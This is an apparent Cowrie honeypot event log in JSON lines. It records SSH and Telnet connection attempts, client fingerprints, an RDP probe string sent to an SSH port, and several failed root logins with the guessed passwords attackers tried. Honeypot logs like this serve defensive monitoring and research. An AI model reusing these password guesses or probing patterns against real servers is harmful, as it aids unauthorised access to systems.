{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:41.347130Z","src_ip":"152.42.212.128","session":"3333a0677169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:41.350973Z","src_ip":"152.42.212.128","session":"3333a0677169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37418,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2d666882976","protocol":"telnet","message":"New connection: 192.119.13.58:37418 (10.17.0.5:23) [session: c2d666882976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:43.759511Z"}
{"eventid":"cowrie.session.closed","duration":0.005258321762084961,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:43.764631Z","src_ip":"192.119.13.58","session":"c2d666882976","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.614699363708496,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:57.730308Z","src_ip":"192.119.13.58","session":"fe184062fd92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34878,"dst_ip":"10.17.0.5","dst_port":23,"session":"177f38a81fe1","protocol":"telnet","message":"New connection: 192.119.13.58:34878 (10.17.0.5:23) [session: 177f38a81fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:35:13.047572Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54426,"dst_ip":"10.17.0.5","dst_port":23,"session":"820a197e849f","protocol":"telnet","message":"New connection: 192.119.13.58:54426 (10.17.0.5:23) [session: 820a197e849f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:35:25.659861Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":33454,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cdf4a6e7bdc","protocol":"ssh","message":"New connection: 109.237.96.109:33454 (159.203.135.109:22) [session: 4cdf4a6e7bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:35:28.916561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:35:28.941000Z","src_ip":"109.237.96.109","session":"4cdf4a6e7bdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:35:29.013026Z","src_ip":"109.237.96.109","session":"4cdf4a6e7bdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:35:29.397187Z","src_ip":"109.237.96.109","session":"4cdf4a6e7bdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:35:30.489609Z","src_ip":"109.237.96.109","session":"4cdf4a6e7bdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":45232,"dst_ip":"159.203.135.109","dst_port":22,"session":"a028ffee2be7","protocol":"ssh","message":"New connection: 87.251.79.125:45232 (159.203.135.109:22) [session: a028ffee2be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:35:33.731744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:35:33.736399Z","src_ip":"87.251.79.125","session":"a028ffee2be7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:35:33.809906Z","src_ip":"87.251.79.125","session":"a028ffee2be7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hahaha","message":"login attempt [root/hahaha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:35:34.033029Z","src_ip":"87.251.79.125","session":"a028ffee2be7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:35:35.109999Z","src_ip":"87.251.79.125","session":"a028ffee2be7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.461589097976685,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:35:55.509053Z","src_ip":"192.119.13.58","session":"177f38a81fe1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40548,"dst_ip":"10.17.0.5","dst_port":23,"session":"95147f4b8709","protocol":"telnet","message":"New connection: 192.119.13.58:40548 (10.17.0.5:23) [session: 95147f4b8709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:00.327946Z"}
{"eventid":"cowrie.session.closed","duration":40.35001277923584,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:06.009757Z","src_ip":"192.119.13.58","session":"820a197e849f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56387,"dst_ip":"159.203.135.109","dst_port":22,"session":"5658cda18c7c","protocol":"ssh","message":"New connection: 167.172.81.52:56387 (159.203.135.109:22) [session: 5658cda18c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:17.113033Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:17.118438Z","src_ip":"167.172.81.52","session":"5658cda18c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:17.122883Z","src_ip":"167.172.81.52","session":"5658cda18c7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":58336,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae5224aa8800","protocol":"ssh","message":"New connection: 89.223.69.22:58336 (159.203.135.109:22) [session: ae5224aa8800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:30.766281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:30.770850Z","src_ip":"89.223.69.22","session":"ae5224aa8800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:30.884379Z","src_ip":"89.223.69.22","session":"ae5224aa8800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"banana","message":"login attempt [root/banana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:31.225313Z","src_ip":"89.223.69.22","session":"ae5224aa8800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:32.340400Z","src_ip":"89.223.69.22","session":"ae5224aa8800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55392,"dst_ip":"10.17.0.5","dst_port":23,"session":"e509e3d35415","protocol":"telnet","message":"New connection: 192.119.13.58:55392 (10.17.0.5:23) [session: e509e3d35415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:34.308539Z"}
{"eventid":"cowrie.session.closed","duration":37.95408368110657,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:38.281931Z","src_ip":"192.119.13.58","session":"95147f4b8709","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":49466,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc02e4326a4d","protocol":"ssh","message":"New connection: 51.250.105.222:49466 (10.17.0.5:22) [session: cc02e4326a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:39.469036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:39.473097Z","src_ip":"51.250.105.222","session":"cc02e4326a4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:39.601881Z","src_ip":"51.250.105.222","session":"cc02e4326a4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:40.152037Z","src_ip":"51.250.105.222","session":"cc02e4326a4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:41.282723Z","src_ip":"51.250.105.222","session":"cc02e4326a4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43582,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cff7b442aaa","protocol":"telnet","message":"New connection: 192.119.13.58:43582 (10.17.0.5:23) [session: 4cff7b442aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:36:46.626159Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52244,"dst_ip":"10.17.0.5","dst_port":23,"session":"d77c7e6ba7fa","protocol":"telnet","message":"New connection: 192.119.13.58:52244 (10.17.0.5:23) [session: d77c7e6ba7fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:37:04.162714Z"}
{"eventid":"cowrie.session.closed","duration":35.092857837677,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:37:09.401269Z","src_ip":"192.119.13.58","session":"e509e3d35415","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34378,"dst_ip":"10.17.0.5","dst_port":23,"session":"74134ad3b4d5","protocol":"telnet","message":"New connection: 192.119.13.58:34378 (10.17.0.5:23) [session: 74134ad3b4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:37:14.921540Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45576,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1aefa5a25a9","protocol":"telnet","message":"New connection: 192.119.13.58:45576 (10.17.0.5:23) [session: f1aefa5a25a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:37:25.776726Z"}
{"eventid":"cowrie.session.closed","duration":41.36957883834839,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:37:27.995637Z","src_ip":"192.119.13.58","session":"4cff7b442aaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58906,"dst_ip":"10.17.0.5","dst_port":23,"session":"50be8cccfe11","protocol":"telnet","message":"New connection: 192.119.13.58:58906 (10.17.0.5:23) [session: 50be8cccfe11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:37:29.255647Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41370,"dst_ip":"10.17.0.5","dst_port":23,"session":"99e01c0c98d4","protocol":"telnet","message":"New connection: 192.119.13.58:41370 (10.17.0.5:23) [session: 99e01c0c98d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:37:32.107977Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51182,"dst_ip":"10.17.0.5","dst_port":23,"session":"372a52d1a5ee","protocol":"telnet","message":"New connection: 192.119.13.58:51182 (10.17.0.5:23) [session: 372a52d1a5ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:37:34.691850Z"}
{"eventid":"cowrie.session.closed","duration":35.95850944519043,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:37:40.121109Z","src_ip":"192.119.13.58","session":"d77c7e6ba7fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.26251244544983,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:38:02.183930Z","src_ip":"192.119.13.58","session":"74134ad3b4d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.043686866760254,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:38:03.299231Z","src_ip":"192.119.13.58","session":"50be8cccfe11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.74389958381653,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:38:10.851793Z","src_ip":"192.119.13.58","session":"99e01c0c98d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.32455849647522,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:38:13.101151Z","src_ip":"192.119.13.58","session":"f1aefa5a25a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.98516893386841,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:38:20.676908Z","src_ip":"192.119.13.58","session":"372a52d1a5ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55330,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f8be4b41795","protocol":"ssh","message":"New connection: 103.153.68.219:55330 (10.17.0.5:22) [session: 7f8be4b41795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:02.738393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:02.743119Z","src_ip":"103.153.68.219","session":"7f8be4b41795","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:02.989077Z","src_ip":"103.153.68.219","session":"7f8be4b41795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhreh","message":"login attempt [root/gfhreh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:03.730022Z","src_ip":"103.153.68.219","session":"7f8be4b41795","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:04.978354Z","src_ip":"103.153.68.219","session":"7f8be4b41795","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":56008,"dst_ip":"10.17.0.5","dst_port":22,"session":"70b95fffafcc","protocol":"ssh","message":"New connection: 103.172.78.219:56008 (10.17.0.5:22) [session: 70b95fffafcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:20.524391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:20.529018Z","src_ip":"103.172.78.219","session":"70b95fffafcc","protocol":"ssh"}
